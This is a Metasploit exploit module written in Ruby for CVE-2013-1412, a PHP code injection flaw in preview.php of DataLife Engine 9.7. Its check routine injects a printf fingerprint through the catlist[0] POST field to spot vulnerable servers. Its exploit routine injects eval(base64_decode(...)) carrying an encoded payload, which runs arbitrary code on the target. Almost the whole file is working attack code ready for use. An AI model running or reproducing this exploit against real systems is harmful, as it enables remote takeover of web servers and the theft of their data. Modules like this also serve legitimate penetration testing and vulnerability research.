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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {}) super(update_info(info, 'Name' => 'DataLife Engine preview.php PHP Code Injection', 'Description' => %q{ This module exploits a PHP code injection vulnerability DataLife Engine 9.7. The vulnerability exists in preview.php, due to an insecure usage of preg_replace() with the e modifier, which allows to inject arbitrary php code, when the template in use contains a [catlist] or [not-catlist] tag. }, 'Author' => [ 'EgiX', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1412' ], [ 'BID', '57603' ], [ 'EDB', '24438' ], [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ], [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Payload' => { 'Keys' => ['php'] }, 'DisclosureDate' => 'Jan 28 2013', 'Targets' => [ ['DataLife Engine 9.7', { }], ], 'DefaultTarget' => 0 ))
register_options( [ OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) ], self.class) end
def uri normalize_uri(target_uri.path, 'engine', 'preview.php') end
def check fingerprint = rand_text_alpha(4+rand(4)) res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//" } })
if res and res.code == 200 and res.body =~ /#{fingerprint}/ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end
def exploit @peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code") res = send_request_cgi( { 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//" } }) end end
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